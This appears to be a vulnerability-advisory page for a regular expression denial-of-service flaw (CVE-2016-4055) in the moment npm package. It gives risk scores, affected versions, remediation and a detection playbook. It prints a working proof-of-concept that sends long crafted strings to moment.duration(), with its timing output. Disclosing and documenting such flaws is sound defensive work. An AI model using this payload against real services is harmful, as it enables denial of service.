NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

Regular Expression Denial of Service in momentGHSA-87vv-r9j6-g5qv

MEDIUM

GHSA-87vv-r9j6-g5qv is a medium-severity (CVSS 6.5) Uncontrolled Resource Consumption vulnerability in moment. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for moment — see the affected versions and patch details below.

Also known asCVE-2016-4055
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Nov 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
9.9%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs96th percentile — riskier than 96% of all scored CVEsHighest risk
0.55%4.39%8.23%12.1%2.7%9.9%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

71Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
momentnpm
50.2Mdownloads / week

Description

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]

Recommendation

Please update to version 2.11.2 or later.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmmomentall versions2.11.2npm install moment@2.11.2

Affected Products

3 products · 3 configurations
Application
momentmomentjs
< 2.11.2
range
Application
primavera unifieroracle
≥ 16.0 && ≤ 18.8.4
range
Application
nessustenable
≤ 8.2.3
range
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for moment, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update moment to 2.11.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-87vv-r9j6-g5qv is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

UbuntuMEDIUM

Frequently Asked Questions

Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`. ## Proof of concept ``` var moment = require('moment'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=20000;i<=10000000;i=i+10000) { console.log("COUNT: " + i); var str = '-' + genstr(i, '1') console.log("LENGTH: " + str.length); var start = process.hrtime(); moment.dur
O3 Security · Impact-Aware SCA

Is GHSA-87vv-r9j6-g5qv in your dependencies?

Find it across npm, including transitive dependencies.

Regular Expression Denial of Service in moment